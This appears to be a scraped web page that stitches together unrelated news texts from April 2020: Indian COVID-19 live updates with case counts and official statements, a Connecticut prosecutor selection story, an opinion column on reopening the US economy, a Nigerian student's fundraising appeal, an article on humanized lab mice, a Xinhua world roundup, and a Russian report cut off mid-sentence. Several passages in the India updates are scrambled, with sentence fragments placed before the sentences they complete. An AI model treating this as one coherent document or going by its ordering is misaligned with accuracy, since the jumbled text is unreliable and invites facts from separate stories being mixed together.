COVID-19 cases were reported in 32 districts of the state on Tuesday. The 121 new COVID-19 positive cases reported are from Chengalpattu (12), Chennai(103), Kallakurichi(3), Kancheepuram(1), Namakkal (2) districts. The Tamil Nadu health department said that 121 new COVID-19 cases were reported in the state on Tuesday, taking the total number of cases in the state to 2,058. The CRPF said that 12 more jawans have tested positive for COVID-19 in Delhi. The total number of CRPF jawans who tested positive stands at 47, which includes one jawan who passed away on Tuesday. Union health secretary Preeti Sudan wrote to chief secretaries/sdministrators of all states and union territories stating that private hospitals and clinics should remain functional for non-COVID-19 patients. Also said that that no patient should be denied any essential services like dialysis, blood transfusion etc. Eighty more samples from Uttar Pradesh's Muzaffarnagar district tested negative for COVID-19, PTI quotes an official as saying. Had a warm exchange with PM @JustinTrudeau . Thanked him for looking after Indian citizens in Canada in these difficult times. Collaboration and partnership between India and Canada is vital to fighting the pandemic including through medical research and supply chain management. They agreed on the importance of global solidarity and coordination, maintenance of supply chains, and collaborative research activities, the statement said. Modi thanked the Canadian prime minister for the assistance and support extended to the Indian citizens, especially students, in Canada. Canadian Prime Minister Trudeau appreciated the support provided by the Indian government for Canadian citizens in India. PTI A statement said Prime Minister Modi conveyed the assurance that India's productive capabilities in the pharmaceutical sector would remain available for assisting the citizens of the world, including those of Canada, to the best of New Delhi's abilities. The two leaders agreed that the partnership between India and Canada could contribute meaningfully to the global effort to fight the pandemic, especially through collaboration in research and technology aimed at finding a vaccine or therapeutic solutions to COVID-19. Prime Minister Narendra Modi said India's productive capabilities in the pharmaceutical sector would remain available for assisting the citizens of the world as countries fight the COVID-19 pandemic. He told Canadian prime minister Justin Trudeau that the partnership between India and Canada is vital to fighting the pandemic. It is a clinical trial for which ICMR has given permission to various states&Karnataka is one of earlier states to have applied&get the permission. We will make a clinical trial, based on results of the trial, we will scale it up to the efficacy level: Dr K Sudhakar https://t.co/3FoRRll5tW Karnataka will conduct a clinical trial on convalescent plams therapy, ANI quotes state medical education minister K Sudhakar as saying. "Convalescent plasma transfusion is one of the therapies that medical world is looking forward because a person who had recovered from the coronavirus infection would have developed the antibodies fight against the disease," he said adding that the state was given permission by the ICMR to conduct such a trial. Greece has so far registered 2,566 coronavirus cases including 138 deaths, much fewer than many other European nations, thanks partly to the swift imposition of its lockdown on March 23. Greek Prime Minister Kyriakos Mitsotakis said on Tuesday restrictions on citizens movements would be lifted and more shops allowed to reopen from 4 May in a gradual easing of a lockdown imposed to curb the spread of the new coronavirus, reports Reuters. Punjab Chief Minister Amarinder Singh on Tuesday hinted at lockdown relaxations on the basis a report to be submitted by an expert panel formed to draw an exit strategy, reports PTI.The issue will come up for a discussion at a state cabinet meeting on 30 April. He, however, said the lockdown was necessary to delay the coronavirus spread as the Centre has indicated on the basis of inputs and studies that the number of cases will continue to rise till July. The chief minister was interacting with MLAs during a video conference when he made the remarks. The CM indicated that his government could go for certain relaxations, while taking all precautions, based on the report of the expert committee formulating the state's coronavirus curfew exit strategy, according to a government statement here. 729 new #COVID19 positive cases reported today in the state taking the total tally to 9318. 106 patients discharged today, 1388 discharged till date. 31 deaths reported today, total 400 deaths reported in the state till date: Public Health Department, Maharashtra pic.twitter.com/mhY6yJUC9F The state health department put the number of cases at 6,169 and toll at 244. Maharashtra registered 729 more positive cases on Tuesday, taking the total to 9,318. 31 deaths were also reported today, pushing the toll to 400. However, 106 patients were discharged after being cured of the virus. A total of 1,388 [persons have been discharged till date, according to the state public health department. Stating that the mode of treatment in COVID-19 is still at an "experimental stage", Gileria stressed on the need to have good and well conducted research trials before its benefit and this mode of therapy can be recommended for routine use in coronavirus patients. "AIIMS is working with the ICMR to conduct a clinical trial on the efficacy of convalescent plasma therapy in COVID-19 patients," he said. The All India Institute Of Medical Sciences is planning to conduct a clinical trial of the convalescent plasma therapy in the treatment of COVID-19 patients, PTI quotes AIIMS Director Dr Randeep Guleria as saying. The modalities of taking the approvals from the Drug Controller General of India (DCGI) is being worked out, official sources said. of samples were not being done. Fuad Halim, a doctor and a CPI(M) leader, who claimed before the court that the guidelines issued by the Indian Council of Medical Research (ICMR) and the World Health Organisation (WHO) for tackling the COVID-19 pandemic were not being adhered to by the State of West Bengal and that adequate tests The Calcutta High Court directed the West Bengal government and the Union of India to file affidavits disclosing the availability and utilisation of personal protection equipment (PPE) and COVID- 19 testing facilities in terms of ICMR guidelines in the state by 30 April, reports PTI. Passing the order, a division bench comprising Chief Justice TBN Radhakrishnan and Justice Arijit Banerjee observed that unless the Union of India and the governments of various states work hand in hand, the desired results in controlling the novel coronavirus would be difficult to achieve.The bench passed the directions on a PIL by petitioner The decline in COVID-19 cases in Telangana continued on Tuesday with only six fresh cases being reported as Health Minister E Rajender hoped the trend would continue and the pandemic would soon end in the state without more deaths. With these six cases, the total number of positive cases in the state has risen to 1,009. No fresh death occurred and the number of people who died due to the virus continued to remain at 25, Rajender said. Forty two people were discharged today, taking the number of people discharged after recovery to 374, he said. The number of active cases in the state stood at 610. "In coordination with the Governments of Andhra Pradesh and Gujarat, facilitated the safe return of 3800 fisherman belonging to AP, who previously went for fishing - for livelihood purpose, to Gir. The Gujarat govt has arranged for buses to ferry them to Andhra, where theyll have a home to stay safe," said MoS home G KIshan Reddy. Coronavirus Outbreak Updates:With 729 new coronavirus cases recorded in Maharashtra , count reaches 9,318; with 31 deaths, toll mounts to 400, says state health department. Delhi recorded a total of 206 positive cases today, taking the total number of COVID-19 cases in the National Capital to 3,314, including 1,078 recoveries and 54 deaths. 393 more test positive for coronavirus in Mumbai, taking count to 5,982; 25 patients die, raising toll to 244, PTI quotes BMC as saying. Total number of COVID-19 positive cases Madhya Pradesh has reached 2,387 of which as many as 1,372 positive cases have been reported in Indore, 458 in Bhopal and 123 in Ujjain. Gujarat reported 226 new coronavirus positive cases, taking the total number of the affected people in the state to 3,774, a health department official said. With 19 fatalities, all from Ahmedabad, in the last 24 hours, the death toll in the state rose to 181. Mumbai's Dharavi saw the highest jump in coronavirus cases on Tuesday, with 42 new cases reported. Four deaths were also reported, taking the toll up to 17. The Union health ministry's 5 pm update said that 1,594 new coronavirus cases and 51 deaths were reported in the last 24 hours. India's total number of coronavirus positive cases rose to 29,974. This includes 22,010 active cases, 7,027 cured/discharged/migrated and 937 deaths. China on Tuesday said it was "deeply concerned" over the evaluation result of the COVID-19 rapid testing kits supplied to India by two Chinese companies and subsequent decision by the Indian Council of Medical Research (ICMR) to not use the equipment, and hoped that New Delhi will resolve the issue "reasonably and properly". The ICMR on Monday asked states and union territories to stop using the test kits procured from the Chinese companies Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics due to "wide variations" in their performance. "We are deeply concerned with the evaluation results and the decision made by the Indian Council of Medical Research. China attaches great importance to the quality of exported medical products," Chinese embassy Spokeperson Ji Rong said. Health Ministry joint secretary Lav Agarwal on Tuesday said that the doubling rate of COVID-19 cases in India now stands at 10.2 days. With 1,543 new cases in the last 24 hours, the total COVID-19 cases in the country are now at 29,435. Meanwhile, 684 patients have recovered in the last 24 hours. "Our recovery rate is now 23.3 percent. This is a progressive increase in recovery rate," said Lav Agrawal, joint secretary, Health Ministry Union health ministry joint secretary Lav Aggarwal reiterated that although there is a lot of speculation around the effectiveness of plasma therapy to treat COVID-19 patients, it's necessary to be cautious with the possible method of treatment until there is concrete information after proper research. "Plasma therapy is being experimented with, however, there is no evidence yet that this can be used as a treatment. National level study has been launched by the ICMR to study the efficacy of the method," the statement said. The Asian Development Bank on Tuesday said, "$1.5 billion loan approved to Government of India to help fund its response to COVID-19 pandemic, incl support for immediate priorities such as disease containment and prevention, as well as social protection for poor and economically vulnerable sections of the society." Union Health Minister Dr Harsh Vardhan on Tuesday said that India will be able to produce RT-PCR and antibody test kits in India by May. 'All processes are in advanced stage and production will start after getting approval from ICMR. It will help us in meeting our target of 1 lakh tests per day by 31 May,' he added. Two police personnel and a vendor in Koyambedu market in Chennai tested positive for coronavirus, officials told PTI. Meanwhile, 8 new COVID-19 cases were reported in Karnataka from Monday 5:00 pm to Tuesday noon. This takes the total number of cases to 520, according to the Karnataka government's latest bulletin. The NITI Aayog building in the National Capital has been sealed for 48 hours, after a director-level officer tested positive for coronavirus, a senior official said on Tuesday. Mumbai Police have asked their personnel who are above 55 years of age and having some pre-existing ailment to go on leave, in a bid to protect them from the coronavirus infection. One officer in NITI Aayog has tested positive for COVID-19 on Tuesday. Meanwhile, Union Health Minister Dr Harsh Vardhan said no fresh case has been reported in 80 districts since last seven days. The rapid spread of coronavirus continues in Andhra Pradesh as 82 fresh cases were reported on Tuesday, the state's case count is now at 1,259. Meanwhile, the rupee depreciated 15 paise to 76.40 against the US dollar in opening trade on Tuesday. The total number of positive cases in Delhi stands at 3,108 now, of which 190 cases were reported on Monday. 877 patients have been cured, while 11 are on a ventilator. The toll stands at 54 with the doubling rate of COVID-19 cases in Delhi at 13 days, Delhi Health Minister Satyendra Jain told ANI. A doctor has tested positive for COVID-19 in Uttar Pradesh's Bijnor district on Tuesday. He has been admitted to isolation ward hospital in Meerut. The Health and Family Welfare Ministry has issued guidelines for home isolation of people who either have very mild COVID-19 symptoms or are in the pre-symptomatic phase. Such patients with requisite self-isolation facility at their residence will now have the option for home isolation. The Maharashtra government has decided to send about 100 buses to Kota in Rajasthan to bring back nearly 2,000 students stranded there due to the lockdown, Maharashtra Transport Minister Anil Parab has said. Buses of the Maharashtra State Road Transport Corporation (MSRTC) will be sent to Kota in the next two days, Parab said late Monday night. India records 62 deaths and 1543 new cases in last 24 hours due to coronavirus, which is the sharpest ever increase in death and cases in India so far. Total confirmed COVID-19 cases in India have risen to 29,435, according to the latest update from the Union Health Ministry on Tuesday morning, with the toll in the country due to the novel coronavirus pandemic rising to 934. The Delhi government on Monday had lifted the bar on veterinarians, plumbers, and electricians after reviewing the COVID-19 situation in the national capital. In the order, the Delhi Disaster Management Authority (DDMA) also allowed inter-state travel of health workers, lab technicians, and scientists. India on Monday recorded its highest single-day spike in toll due to COVID-19 as 60 deaths and 1,463 new infections were reported in the last twenty-four hours, taking the countrywide total to 28,380 and the number of deaths to 886. Meanwhile, Prime Minister Narendra Modi in a video conference with chief ministers said the lockdown has been successful as thousands of deaths had been prevented but cautioned that the crisis was far from over. In another significant development, the Indian Council of Medical Research has asked states to stop using the COVID-19 rapid antibody test kits procured from two Chinese companies. India reports highest daily jump in COVID-19 toll The Union health ministry, in its evening update, said there has been a spike of 1,463 cases since Sunday evening, taking the case count to 28,380. The number of active COVID-19 cases stood at 21,132, while 6,361 people have recovered, and one patient has migrated, the ministry said. The total number of cases includes 111 foreign nationals. With 60 deaths reported in the past 24 hours, the toll rose to 886. However, on the positive side, more than 6,300 patients have been discharged, pushing the recovery rate to over 22 percent, according to the Union Health Ministry. Among major cities, Mumbai alone has reported 5,589 cases, while Delhi has more than 2,900 and Ahmedabad more than 2,100 cases. Besides, more than 200 have died in Mumbai, over 100 in Ahmedabad and at least 54 in the National Capital. These three major urban centres also impact a significant part of the country's overall economic activities. Of the nationwide toll of 886, Maharashtra has reported the most fatalities (342), followed by Gujarat at 151, Madhya Pradesh at 106, Delhi at 54, Rajasthan at 41, and Andhra Pradesh and Uttar Pradesh at 31 each. The death toll reached 26 in Telangana, 24 in Tamil Nadu while West Bengal and Karnataka have reported 20 deaths each. Punjab has registered 18 fatalities so far. The disease has claimed six lives in Jammu and Kashmir, four in Kerala while Jharkhand and Haryana have recorded three COVID-19 deaths each. Bihar has reported two deaths, while Meghalaya, Himachal Pradesh, Odisha and Assam have reported one fatality each, according to the ministry data. According to the health ministry data, Maharashtra also has the maximum number of confirmed cases at 8,068, followed by Gujarat at 3,301, Delhi at 2,918, Rajasthan at 2,185, Madhya Pradesh at 2,168, Uttar Pradesh at 1,955 and Tamil Nadu at 1,885. The number of COVID-19 cases has gone up to 1,177 in Andhra Pradesh and 1,002 in Telangana. Andhra Pradesh chief minister YS Jagan Reddy asked people to take precautions to prevent the infection as he warned, "We cannot eliminate it, so we have to live with it." On the positive side, the Health Ministry said 85 districts have not reported a single positive case in the last 14 days, while 16 districts have not witnessed even one case in the last 28 weeks. Separately, Union Minister Jitendra Singh said five Northeastern states Sikkim, Nagaland, Arunachal Pradesh, Manipur and Tripura are now completely coronavirus-free and the other three Assam, Meghalaya and Mizoram have not added any new COVID-19 positive case in the last few days. Narendra Modi holds video conference with chief ministers As the final week of the second phase of lockdown began, Modi conveyed to chief ministers that the country will have to give importance to the economy as well as continue the fight against the novel coronavirus. In his fourth video conference with the chief ministers over the pandemic, Modi also underlined that the nationwide lockdown has "yielded positive results as the country has managed to save thousands of lives in the past one and a half months." "The prime minister said that the country has seen two lockdowns till now, both different in certain aspects, and now we have to think of the way ahead. He said that as per experts, the impact of coronavirus will remain visible in the coming months," according to an official statement. The first lockdown was announced by Modi on 24 March in a bid to combat the coronavirus endemic. It was later extended till 3 May. Reiterating the mantra of 'do gaz doori' (six feet distance),Modi said masks and face covers will become part of people's lives in the days ahead. He emphasised on the importance of the use of technology as much as possible, and also on a need to embrace reform measures. He, however, forewarned that the danger of the virus is far from over and a constant vigil is of paramount importance. Several news reports said that the prime minister had also hinted at extending the lockdown in red-zones or coronvairus hotspots after 3 May while asking the chief minister to prepare a graded exit plan depending on the situation in each state. During the virtual interaction, chief ministers also put forth their concerns and suggestions. Odisha Chief Minister Naveen Patnaik sought framing of a national standard operating procedure (SOP) for smooth movement of lakhs of people stranded across the country due to the lockdown imposed to combat COVID-19. On similar lines, Bihar chief minister Nitish Kumar said it would not be possible for the state to bring back students from places like Kota until the Centre amended its lockdown guidelines. Gujarat chief minister Vijay Rupani favoured a gradual lifting of the coronavirus lockdown, while the chief ministers of Himachal Pradesh, Goa and Meghalaya favoured extending the lockdown. Madhya Pradesh chief minister Shivraj Singh Chouhan, after his interaction with the prime minister, asked state officials to make specific plans for the period after 3 May, when the second phase of the lockdown is scheduled to end. West Bengal chief minister Mamata Banerjee, however, alleged that the Centre was making contradictory statements on enforcement of the lockdown, and wanted greater clarity on the recent union home ministry order on reopening shops. Claiming that many states were not allowed to speak during Modi's video conference with chief ministers owing to the rotation system, Banerjee said given a chance she would have raised several questions, including the need to send central teams to Bengal. Tamil Nadu chief minister K Palaniswami sought more RT-PCR kits for COVID-19 screening to help the state ramp up its testing capacity to 10,000 a day against the existing 7,500. Punjab chief minister Amarinder Singh, in a written submission to the Centre demanded that GST arrears of over Rs 4,000 crore be released and also demanded a grant due to meet the revenue deficit. Kerala chief minister Pinarayi Vijayan, who did not participate in the interaction, said that the state government favours a partial lockdown in the state till 15 May and sought aspecial financial package from the Centre for various sectors, including rehabilitation of expatriates who wish to return. ICMR asks states to stop using China-made antibody testing kits In the meantime, the country's apex health research body ICMR asked states to stop using the COVID-19 rapid antibody test kits procured from two Chinese companies and return them to be sent back to the suppliers. States are advised to stop using these kits procured from the two companies (Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics kits) and return them to be sent back to the suppliers: Indian Council of Medical Research (ICMR) #COVID19 https://t.co/aGgEOpibuN ANI (@ANI) April 27, 2020 Some states including Rajasthan had flagged issues with results given by these kits. Citing media reports, Opposition Congress leader Rahul Gandhi alleged that some people were indulging in profiteering while supplying rapid test kits for COVID-19 to the government. That any human being would try & profiteer from the immeasurable suffering of millions of his brothers & sisters, is beyond belief & comprehension. This scam is an insult to every Indian. I urge the PM to act swiftly to bring the corrupt to justice.https://t.co/04KJqALs80 Rahul Gandhi (@RahulGandhi) April 27, 2020 However, the health ministry explained the procedure followed for procuring the kits and clarified that no payment had been made for them. "The ICMR has not made any payment in respect of these supplies. Because of the due process followed (not going for procurement with 100 per cent advance amount), Government of India does not stand to lose a single rupee," it said in a statement. Uttar Pradesh brings back migrant workers Over 12,000 workers from Uttar Pradesh who were stranded in Haryana due to the coronavirus lockdown have been brought back to the state and are now being sent to their home districts, reported PTI. Within Uttar Pradesh, the state government is preparing to send nearly 10,000 students stranded in Allahabad to their home districts in a phased manner. Meanwhile, the Supreme Court sought a reply from the Centre on a plea seeking direction to authorities to allow migrant workers across the country to return home after conducting coronavirus tests. With inputs from agencies The shelter homes for migrants in Central Delhi face lack of good quality food and clean toilets, non-functional fans, rude behaviour of civil defence staff among other issues as per the key observations made by Delhi Police station house officers (SHOs), who were tasked to prepare a report on these establishments, The Indian Express has reported. According to the report, the SHOs assessed more than 15 shelter homes. Of these, the survey of two shelters at Majnu Ka Tilla and the posh Civil Lines revealed problems like non-functional fans, no power back-up, rare sanitisation of toilets, rude behaviour of civil defence staff, food quality not good, no hand wash and sanitisers, foul smell in toilets, water supply in the toilets only between 7 am and 11 am, one soap for bathing and no detergent for washing clothes, mosquito bites, etc, said the report. The survey of three shelter homes by the staff of Lahori Gate police station in their area revealed that there were no proper arrangements of drinking water and no facilities such as reverse osmosis (RO) to serve treated water to the inmates, as per the report. The SHOs further observed that many homeless persons were forced to leave the homes after the coronavirus-enforced lockdown and that is creating a lot of chaos in the adjoining areas, the police report stated. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show Coronavirus LIVE updates DCP (North) Monika Bhardwaj had asked the SHOs to survey the shelter homes after police observed a few problems at the centres. After getting survey reports from all the SHOs, she compiled the analysis and sent it to the District Magistrate (Central) Nidhi Shrivastava to seek governments attention towards the issue, the report said. A copy of the report has been sent to all the sub-divisional magistrates to rectify the shortcomings, Shrivastava told the publication. Currently, there are 223 permanent shelter homes for the homeless in Delhi. Besides these, 111 government facilities, including school buildings, have been allocated as shelter homes to house migrants stuck in the city due to the lockdown, the report suggested. These additional establishments are housing over 10,000 people, while the daily occupancy of the permanent ones reportedly stands at around 7,000. ROCKY HILL Prosecuting criminal cases during the pandemic and relations with the Bridgeport Police Department were key topics during interviews Tuesday for the next Bridgeport top prosecutor. The five candidates for the position of states attorney for the Fairfield Judicial District were interviewed separately and remotely on Zoom by the seven members of the state Criminal Justice Commission. Following the nearly all-day session, state Supreme Court Justice Andrew McDonald, the chairman of the commission, announced that the selection of the new states attorney will take place Thursday following the interview session to fill the Stamford states attorneys position. The candidates, current Bridgeport prosecutors C. Robert Satti Jr., Joseph Corradino, Colleen Zingaro and David Applegate and New Haven prosecutor Stacey Miranda, all said they were aggressively working to keep up-to-date on pending criminal cases during the pandemic. Satti, the supervisory assistant states attorney in Bridgeport, was the only one of the candidates who is still going to the courthouse to handle cases. All the candidates said they recognized changes will have to be made when the courts fully open to a backlog of cases. I dont think the principle purpose of a prosecutors job is to send people to jail, said Corradino, a prosecutor for 30 years. I think it is a prosecutors job to find the right disposition in each case. Satti spent some of his interview defending his reputation for being tough. Im not as friendly as others in the courtroom, he acknowledged. And I understand that my recommendations for sentences may be higher than others. But he pointed out that in his nearly 40 years as a prosecutor, he has handled some of the most serious cases in the city. Zingaro, who worked as a victim advocate before becoming a prosecutor, said she brings a diverse background to the job. We need to be transparent, accountable and start thinking outside of the box, she said. A prosecutor for nearly 20 years, Zingaro said that she has found that people have misconceptions about what prosecutors and the courts do and those misconceptions make people reluctant to come forward when they witness a crime. Commission member Robert Berke, a Bridgeport lawyer who has successfully sued the Bridgeport Police Department on behalf of clients who claimed they were the victim of police brutality, asked the candidates what they would do about the strained relationship the police have with federal authorities and how to handle the departments reputation for being reluctant to turn over information on brutality allegations against officers. Miranda, who commented that she works closely with federal prosecutors, said she is aware that the relationship between the federal authorities and the Bridgeport police is at an all time low. She said she would take a strong stand with the police department to get them to turn over all information due defense lawyers. I understand where these issues are coming from and some of the frustrations, Zingaro said. You have to talk to the police chiefs directly and find out what the problem is and how we can fix it. Applegate, a prosecutor for 14 years, has applied for both the Bridgeport and Stamford positions. He said that prison is not the answer for every case but that treatment providers for felons should be held accountable for what they do. He also said while the public is upset by a number of recent police shootings, they dont see the number of times police officers are put in dangerous positions but use tremendous restraint and dont fire at offenders. Someday, I'm going to die. This, I grudgingly accept. I have no idea how it's going to happen. Maybe I will die of having a tree fall on me, of eating tainted shellfish, or of being struck by lightning. But this much I guarantee. I will not die of having wagered my life that TV carnival barkers, political halfwits and goobers in MAGA hats know more than experts with R.N.s, M.D.s, and Ph.D.s after their names. In other words, I will not die of stupid. Not that there aren't plenty of opportunities to do so. Indeed, in responding to the COVID-19 pandemic and the question of when and how the nation's economy should be reopened, we seem to have tapped the U.S. Strategic Stupid Reserve. The result has been a truly awe-inspiring display of America's matchless capacity for mental mediocrity. Surveys show, for instance, that a solid majority of Americans (63 percent according to a CBS News poll) are more worried about reopening the country too fast and worsening the pandemic than opening it too slowly and worsening the economy. Yet a noisy minority of protesters is furious at government for trying to keep them healthy. They demand their right to life, liberty and the pursuit of acute respiratory distress. Meantime, there's Dr. Phil, opining on Fox "News" that "45,000 people a year die from automobile accidents, 480,000 from cigarettes, 360,000 a year from swimming pools, but we don't shut the country down for that." Turns out he's off a smidge on the number of drownings, which is actually fewer than 4,000. And who knew swimming pools, car accidents and cigarettes were contagious? Then you have governors like Brian Kemp of Georgia and Ron DeSantis of Florida rushing to reopen their states in defiance of medical advice. "COVID-19 is not here, bro," one surfer assured a Jacksonville TV news crew. Doesn't that take a load off your mind? And let's not forget Las Vegas, where Mayor Carolyn Goodman went on CNN to demand the reopening of casinos, suggesting her town could be a "control group" to find out if social distancing works -- the gambling capital playing craps with the lives of its own people. Not that Goodman would wager her own life. Asked by Anderson Cooper if she would visit the reopened casinos, she demurred, saying she has to get home to her family. But here's the thing. There's been a lot of talk over who has the power to reopen America's economy. Well, it doesn't belong to the president, nor to the governors. It doesn't even belong to business owners. No, ultimately, it belongs to me. And to you. It belongs to us, as consumers. After all, the president and the governors can issue all the orders they want, the owners can remove all the padlocks, but none of it matters if customers are too afraid to walk back through the doors. And I am. I have no idea how many consumers I represent, but I suspect it's more than a few. I get that businesses are suffering. But I refuse to eat in a crowded restaurant, sit in a packed movie house or fly on a full flight again until I feel I can do so safely. And I am emphatically not assured by TV carnival barkers, political halfwits and MAGA-hat-wearing geniuses. No, I need to hear from serious, credible people. I need to know sufficient testing has been conducted and that they feel the virus is no longer a threat. If other people want to die of stupid, I can't stop them. But if America wants its economy back -- this part of its economy, at least -- it better do whatever is necessary to persuade Dr. Anthony Fauci it's time to give the all-clear. Look for me two weeks after that. Love 23 Funny 3 Wow 0 Sad 0 Angry 2 Chigbu-Jonah Chimamaka, a final-year medical student of Bowen University in Iwo, Osun state, has pleaded for help to raise the sum of N4... Chigbu-Jonah Chimamaka, a final-year medical student of Bowen University in Iwo, Osun state, has pleaded for help to raise the sum of N4.8 million required to facilitate her graduation. In a series of posts on Twitter, the young lady said she decided to embark on the fundraising mission as failure to pay her outstanding debts would prevent her from graduating. While the debt was initially close to N6 million, Chimamaka, had on March 8, tweeted that she had been able to raise N1.8 million. Fundraising for school fees for Chigbu-Jonah Chimamaka is still going on. We have been able to raise 1.8 million naira with 4.2 million naira to go common people let's not tire donate today to GtB 0502293646 to save a career. Let's do this!!!! Chigbu-Jonah Chimamaka Precious (@ChigbuJonah) March 8, 2020 She disclosed that her dad had continued to pay every school fees put out no matter the increment but since his retirement five years ago things have gone from bad to worse and become so difficult. Chimamaka appealed to the general public to assist her, adding that every contribution would go a long way to save my career. Hi my name is chigbu-jonah Chimamaka a final year medical student of Bowen university Iwo osun state. I am appealing to anyone reading this, fundraising for my fees to raise the sum of 4.8 million naira is still on and every contribution would go a long way to save my career pic.twitter.com/ynM4rT0Tn8 April 26, 2020 Good morning all. First of all I would like to appreciate you all for taking the time to read through my post. Secondly please I am not trying to deceive anybody I am a medical student that transferred from biochemistry after my first year after having a GPA above 4.5 pic.twitter.com/2EoWCm84mw April 27, 2020 I applied for transfer myself and 11 other colleagues of mine and I have been studying medicine for the past 7 years that is why I have a matriculation number with SSE not CHS when I got into school my father met up with every school fees put out no matter the increment. But since his retirement five years ago things have gone from bad to worse and become so difficult. I was allowed to continue my clinicals with an undertaken promising that I would pay up but I wasnt able to pay up and it became mandatory that no one would be allowed to sit for professional examinations without complete payment of fees. I started a fundraising to help pay my fees but didnt meet up and I missed the main examination but was allowed under an undertaken and general plea from my lectures to the school to sit for the resit exams. Trust me if I had known things would get this bad I would have dropped out four years ago and done something else with my life. Thirdly concerning the locked DM trust me I dont even know how to manipulate twitter not to speak of locking my DM. I apologize for the inconvenience and promise to get it fixed. Thank you all so much. God bless you. I am appealing to anyone reading this, fundraising for my fees to raise the sum of 4.8 million naira is still on and every contribution would go a long way to save my career, she wrote.A copy of the letter shared on the microblogging platform reads: You are being advised to pay up all your outstanding indebtedness failing which you will be precluded from writing the forthcoming examinations. Mice are not humans. This obvious truth, coupled with issues like poor methodology, reporting bias, and sloppy statistics, explains why historically studies conducted on mice have rarely translated to us. Those latter problems always seem to plague scientific research, no matter how hard scientists try to weed them out. Perhaps that's why in the early 2000s, researchers began working in earnest to re-engineer laboratory mice altogether. The goal? Make them a little more human. "Humanized models mice expressing human transgenes or engrafted with functional human cells or tissues can provide important tools to bridge the gap between animals and humans in preclinical research," wrote Monica J. Justice, Program Head and Senior Scientist in Genetics and Genome Biology at The Hospital for Sick Children. Mice and humans share roughly 97.5% of their DNA, so one might think that would make us near perfect stand-ins for each other when it comes to studying pharmaceutical treatments and modeling disease. However, the slight difference in our biological coding means that mice are not susceptible to various infections like HIV, Epstein Barr Virus, or Ebola. Moreover, they metabolize drug compounds much differently. Many of these differences have been quashed in the past couple decades with the proliferation of humanized mice. The key advance was engineering a mouse with a mutation in the Interleukin-2 receptor (IL2). IL2 is a molecule that regulates the activities of white blood cells. Without it, our immune cells are blind. This meant that scientists could graft human cells, tumors, tissues, and even basic immune systems into mice without the animals' own immune systems rejecting them. Humanized mice are susceptible to HIV, Ebola, and even tuberculosis, and their immune systems can be designed to be essentially human. "These improved humanized mouse models are now being used to study many human biological responses and diseases and are increasingly employed as preclinical tools for evaluation of drugs and for identifying underlying mechanisms in a broad array of diseases," researchers at the University of Massachusetts Medical School wrote in the 2017 review. "Moreover, humanized mice are being increasingly utilized as translational models in many additional areas of biomedical research including regenerative medicine, transplantation, and immunity." Humanized mice are growing particularly useful for exploring immunotherapy treatments against various cancers. "The humanized mouse model will permit not only the discovery of effective immunotherapy treatments, but it can be used to predict patient responses to great clinical benefit," a trio of oncologists from the University of Colorado recently opined in the journal Molecular Carcinogenesis. Any study conducted in animals will always provide an imperfect approximation to what happens in humans, but the rise of the humanized mouse increasingly means that mouse studies are growing more meaningful. World COVID-19 cases approach 3 mln, multiple countries mull gradual lifting of restrictions People's Daily Online (Xinhua) 16:05, April 27, 2020 BEIJING, April 27 (Xinhua) -- Multiple countries are easing or considering easing restrictions gradually for social and economic recovery although the number of confirmed COVID-19 cases worldwide is nearing 3 million. Global caseload at 0000 GMT on Monday hit 2,968,627, with the United States standing first at 964,937, followed by Spain with 226,629, and Italy with 197,675, according to the Center for Systems Science and Engineering at Johns Hopkins University. In Italy, the number of new deaths, new infections and patients in intensive care keeps declining, according to the latest data released by the country's Civil Protection Department. A total of 260 people died of COVID-19 in the last 24 hours in the country, the lowest single-day death toll since March 15. It registered 2,324 new cases over the last 24 hours, 33 fewer than on Saturday, and the lowest in six days. Starting May 3, Italy will be adopting "Phase Two" of a national lockdown put in place March 10, which involves "the gradual resumption of social, economic and productive activities." Last week, U.S. President Donald Trump unveiled guidelines for a phased reopening of parts of the economy disrupted by the COVID-19 pandemic. Some states started reopening portions of their businesses over the weekend. Anthony Fauci, director of the U.S. National Institute of Allergy and Infectious Diseases, said the country will be able to double its COVID-19 testing capacity over the next several weeks, which is needed to safely reopen portions of the economy. French Prime Minister Edouard Philippe announced on Sunday in a Twitter message that he would present the government's strategy for lockdown exit to parliament on Tuesday. France saw COVID-19 deaths rise by 242 to 22,856 as of Sunday, the lowest daily increase this week, bringing relief to the health system as the country is planning to lift the lockdown on May 11, according to the country's health ministry. British Prime Minister Boris Johnson will return to work Monday morning, his office's spokesperson told Xinhua on Sunday. The prime minister was treated in hospital after contracting the novel coronavirus and having a short period of self-isolation. He has been in recovery after leaving the hospital around two weeks ago. As many as 152,840 cases of COVID-19 have been confirmed in Britain as of Sunday morning, with 20,732 deaths as of Saturday afternoon, according to the figures released on Sunday by Britain's Department of Health and Social Care. Secretary of State for Environment, Food and Rural Affairs George Eustice said on Sunday that it was too early to review the current social distancing measures, and the evidence would be examined at the regular three-week review. Myanmar's parliament said on Sunday that it will resume its 16th regular session on May 18. The session was initially scheduled to resume on Monday but was postponed to May 18 due to COVID-19, Kyaw Soe, director general of Myanmar's parliament, told Xinhua. As of Sunday morning, Myanmar reported 146 confirmed COVID-19 cases with five deaths since the infectious disease was first detected in the country on March 23. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address MOSCOW -- Local officials across Russia are struggling to identify and implement the necessary measures to combat the spread of the coronavirus. In addition to stay-at-home orders, social distancing, and other limitations, many regions have introduced or are considering restrictions on the sale of 